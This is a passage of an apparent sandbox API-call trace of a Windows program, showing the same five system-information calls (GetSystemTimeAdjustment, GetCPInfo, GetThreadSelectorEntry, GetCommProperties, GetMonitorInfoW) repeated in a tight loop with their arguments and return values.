lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.043] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.043] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.043] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.043] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.043] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.043] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.043] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.043] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.043] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.043] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.043] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.043] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.043] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.043] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.043] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.043] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.043] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.043] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.043] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.043] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.043] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.043] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.044] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.044] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.044] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.044] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.044] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.044] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.044] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.044] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.044] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.044] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.044] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.044] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.044] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.044] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.044] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.044] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.044] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.044] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.044] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.044] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.044] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.044] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.045] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.045] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.045] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.045] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.045] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.045] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.045] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.045] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.045] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.045] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.045] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.045] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.045] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.045] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.045] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.045] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.045] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.045] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.045] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.045] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.045] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.046] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.046] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.046] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.046] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.046] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.046] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.046] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.046] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.046] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.046] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.046] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.046] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.046] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.046] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.046] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.046] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.046] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.046] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.046] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.046] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.046] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.047] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.047] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.047] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.047] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.047] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.047] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.047] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.047] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.047] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.047] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.047] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.047] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.047] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.047] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.047] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.047] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.047] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.047] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.047] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.047] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.047] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.047] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.048] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.048] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.048] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.048] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.048] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.048] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.048] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.048] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.048] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.048] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.048] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.048] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.048] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.048] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.048] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.048] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.048] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.048] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.048] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.048] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.048] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.048] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.049] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.049] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.049] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.049] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.049] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.049] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.049] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.049] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.049] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.049] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.049] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.049] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.049] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.049] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.049] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.049] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.049] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.049] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.049] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.049] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.049] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.050] 